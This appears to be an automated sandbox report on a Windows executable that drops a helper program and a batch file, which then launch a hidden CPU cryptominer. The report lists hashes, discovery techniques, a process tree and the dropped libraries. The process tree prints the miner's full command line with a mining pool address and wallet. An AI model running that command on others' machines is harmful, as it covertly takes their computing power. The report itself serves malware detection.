73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
300s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
18/02/2024, 10:17

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
3240	b2e.exe
2328	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2328	cpuminer-sse2.exe
2328	cpuminer-sse2.exe
2328	cpuminer-sse2.exe
2328	cpuminer-sse2.exe
2328	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/116-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 116 wrote to memory of 3240	116	batexe.exe	84
PID 116 wrote to memory of 3240	116	batexe.exe	84
PID 116 wrote to memory of 3240	116	batexe.exe	84
PID 3240 wrote to memory of 5084	3240	b2e.exe	85
PID 3240 wrote to memory of 5084	3240	b2e.exe	85
PID 3240 wrote to memory of 5084	3240	b2e.exe	85
PID 5084 wrote to memory of 2328	5084	cmd.exe	88
PID 5084 wrote to memory of 2328	5084	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:116
- C:\Users\Admin\AppData\Local\Temp\5A84.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5A84.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5A84.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3240
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5ED9.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5084
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2328

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\5A84.tmp\b2e.exe

Filesize
37.9MB

MD5
23f466f9d0252607e294b78c2b4069b8

SHA1
6a1e2a07e89178cd351f21a56d47d42d3ffa375c

SHA256
7c3fdceea50e03748eb9a6c24dad8878b1d814e000d00ce7f4fd859106fec46e

SHA512
59c69a6c86fd37f8501454e3c445936b0f6953ef5fe8e850751a35af5d17b8dacce9f928a61691ebfa3d7a065f9abc1ac1a3f7351b2d8b1c96d896199b3c53eb

Download Submit
C:\Users\Admin\AppData\Local\Temp\5A84.tmp\b2e.exe

Filesize
14.6MB

MD5
c5a2fb5a9828a03fdc6342344118aba2

SHA1
343bd707feec98a728eee5ddb9e5a6bdd6cd6de1

SHA256
cc099be78990db3420e61e20cb83ca0bea00b900544e009ddb4761d78feeaf7c

SHA512
c20a7ba6f73d47f85e15f64af758e49f4a386c1e1b9d22899dd5dfb2f1f80aee2480c82adcf3a37d9858122e6998f22f24ef579ea816f2288ad385a52f8f39be

Download Submit
C:\Users\Admin\AppData\Local\Temp\5A84.tmp\b2e.exe

Filesize
8.1MB

MD5
226f3206016df688ec8fe8305e16197a

SHA1
1477cf3f408da48a6ec6e37b77e98f854ed3c0ad

SHA256
3c94bba2a76de9055ceeaa1cef53686240e17b10941b622ec2d8bd6675522876

SHA512
1c23d39626844d87cca79c4a458236c998e6a913fdfd48a1c6478065170cc7cb86b399b25db855c25b324ca92d2e9a8e9dae60dfbd51ddb00597a83042319a13

Download Submit
C:\Users\Admin\AppData\Local\Temp\5ED9.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.4MB

MD5
eb0cae812cd1803b3133f9e4a79c84d4

SHA1
123722f02744fc374b15e6907665b63c08e146ad

SHA256
7d26e97f3b6f59a3d7da39db95429b90b4afa7b410f16a84f65c9fbefbb7adf5

SHA512
ff96afada9f9b69a8d12e9b7bee9d16a8061b08ce7905452d8932491294da801ffbc8863e9bc179c01de8007de4f7fb0a2c241763449b6f834a14ee744100655

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.2MB

MD5
dd77b474323480e0336c05a727861216

SHA1
549f8a34fe8b6bd7b89c4b44b1d962c5892231d5

SHA256
3f3e91a7a257601a8feb1d0575ef4f5a839c227c597b0013369ff5fd17ee4098

SHA512
1904b6e921fad0bdccced5dcf7e4967f396b27b179c0d22da5e4fa3ac652719007817d148491dad8a7db6b3b756c16b676a247117d598e2dec91dc5c693eaf56

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.1MB

MD5
f33515fa1484404f1b9473657add4365

SHA1
e7b2903d81b431f80a52375ceca05118fde7bf7a

SHA256
fdbf42b91b7c7113cb8b76749e928e5bf6a41674d200f7ec6c085ef9e89a642e

SHA512
9584f2147dbe31826b7a3bc82967eef2d70dca4c84d41625096121c823693e50d28f0e8b3394fd4700bbaaa05737c292f740ad8d31fe719b830c72890af087d0

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/116-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2328-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2328-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2328-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2328-45-0x0000000064990000-0x0000000064A28000-memory.dmp

Filesize
608KB

Download
memory/2328-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2328-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/2328-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2328-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2328-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2328-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2328-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2328-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2328-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2328-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3240-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3240-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download